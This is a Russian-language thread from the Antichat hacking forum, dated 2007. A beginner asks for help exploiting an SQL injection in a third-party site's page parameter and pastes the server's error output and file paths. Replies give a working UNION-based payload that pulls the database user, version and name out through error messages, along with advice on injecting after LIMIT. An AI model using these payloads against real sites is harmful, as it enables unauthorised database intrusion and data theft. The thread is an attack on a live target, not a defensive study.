Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Страшной запрос (https://forum.antichat.xyz/showthread.php?t=53807)

Dimi4 18.11.2007 00:46

Страшной запрос
 
MySQL injection.
http://wtf.com/country/ukraine/4/?page=-2%20union/**/select/**/45,15/*
Гы, ет наверно я только так тупо запросы формирую :D
При етом выдает нечто страшное:
PHP код:

SELECT ai.idah.headlineat.full_textam.smallimage_url as imgat.announcelah.headline as en_namelower(si.name), si.urlsi.ahref as site_titlest.description FROM elgov_articleitem as aielgov_articletext as atelgov_articleheadline as ahelgov_subjectitem as sielgov_subjecttitle as st JOIN elgov_articleactivity as aa LEFT JOIN elgov_articleimage as am ON (am.item_id ai.idLEFT JOIN elgov_articleheadline as lah ON (lah.item_id ai.id AND lah.lang_id 5WHERE ai.id ah.item_id AND ai.examine AND ai.id at.item_id AND ah.lang_id AND at.lang_id ah.lang_id AND ai.inode si.id AND lower(si.name) = 'ukraine' AND st.item_id si.id AND st.lang_id ah.lang_id AND aa.article_id ai.id AND aa.inode 4 GROUP BY ai.id ORDER BY ah.headline LIMIT -4515

MYSQL ERROR ]: SELECT ai.idah.headlineat.full_textam.smallimage_url as imgat.announcelah.headline as en_namelower(si.name), si.urlsi.ahref as site_titlest.description FROM elgov_articleitem as aielgov_articletext as atelgov_articleheadline as ahelgov_subjectitem as sielgov_subjecttitle as st JOIN elgov_articleactivity as aa LEFT JOIN elgov_articleimage as am ON (am.item_id ai.idLEFT JOIN elgov_articleheadline as lah ON (lah.item_id ai.id AND lah.lang_id 5WHERE ai.id ah.item_id AND ai.examine AND ai.id at.item_id AND ah.lang_id AND at.lang_id ah.lang_id AND ai.inode si.id AND lower(si.name) = 'ukraine' AND st.item_id si.id AND st.lang_id ah.lang_id AND aa.article_id ai.id AND aa.inode 4 GROUP BY ai.id ORDER BY ah.headline LIMIT -4515 (You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near '-45, 15' at line 30 )

Warningmysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/db_sql.class.php on line 62

Warning
Cannot modify header information headers already sent by (output started at /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/db_sql.class.php:36in /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/server.class.php on line 209 

Вы сразу скажите "линк в студию!"
Но дайте мне возможность сделать ету инэкцию самому, ибо я их тока начал изучать.Да, да мануалы на ачате читал...
Жду ваших советов.
П.С. Просьба не кричать ЛАМЕР!, тут всьо просто! :eek:

Spyder 18.11.2007 00:59

ничё ты тут не сделаешь

Dimi4 18.11.2007 01:02

а как на шчот строки
PHP код:

You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near '-45, 15' at line 30 

:(

Spyder 18.11.2007 01:06

инъекция после limit'a
учи мат часть

Dr.Z3r0 19.11.2007 13:25

Народ ну где тут иньекция после лимита?
Тут видимо два запроса результат первого вставляется во второй но в первый раз вижу чтобы лимит был с отрицательным значением... Но тут есть огромный плюс если моя догдадка верна раз отчет об ошибках есть, то и в ошибке ты увидишь ответ на твою иньекцию то есть юзай что то типа этого:
Код:

http://wtf.com/country/ukraine/4/?page=-2%20union/**/select/**/CONCAT_WS(0x20,USER(),VERSION(),DATABASE()),15/*
И в ошибке ты по идее должен увидеть что то типа
Код:

( You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-[имя юзера] [версияБД] [и имя самой БД], 15' at line 30 )
ЗЫ а вот ссылку бы не помешало бы, бо по этой тут ответ 404 ))

groundhog 19.11.2007 13:49

Spyder, если инжектируется параметр, который определяет какое-то значение из LIMIT, то что мешает с его помощью сформировать нормальный LIMIT, а потом к этому запросу сделать UNION+SELECT нужных тебе полей?

Dr.Z3r0 19.11.2007 15:14

Цитата:

Сообщение от groundhog
Spyder, если инжектируется параметр, который определяет какое-то значение из LIMIT, то что мешает с его помощью сформировать нормальный LIMIT, а потом к этому запросу сделать UNION+SELECT нужных тебе полей?

Еще раз спрашиваю где вы увидели инжект в лимит?

groundhog 19.11.2007 15:39

А ХЗ... Спайдер написал "инъекция после limit'a"... Я просто сказал что и в этом случае возможна успешная эксплуатация...

Spyder 19.11.2007 16:29

вот давайте он ссылку даст а вы раскрутите скуль, ок? =)
Цитата:

Spyder, если инжектируется параметр, который определяет какое-то значение из LIMIT, то что мешает с его помощью сформировать нормальный LIMIT, а потом к этому запросу сделать UNION+SELECT нужных тебе полей?
ты маны по SQL читал? UNION не может идти после оператора LIMIT

groundhog 19.11.2007 16:58

Мало того, что читал, так ещё и попробовал запрос:

Цитата:

SELECT * from lala limit 0,1 union select * from lala where id=5
Как думаешь, каков был результат? Правильно! Две записи! Пробовал это на MySQL 4.1.10... Ты не путаешь с тройкой? Там действительно нельзя ставить после LIMIT объединение через UNION, потому что в тройке UNION вообще не поддерживается...


Время: 22:29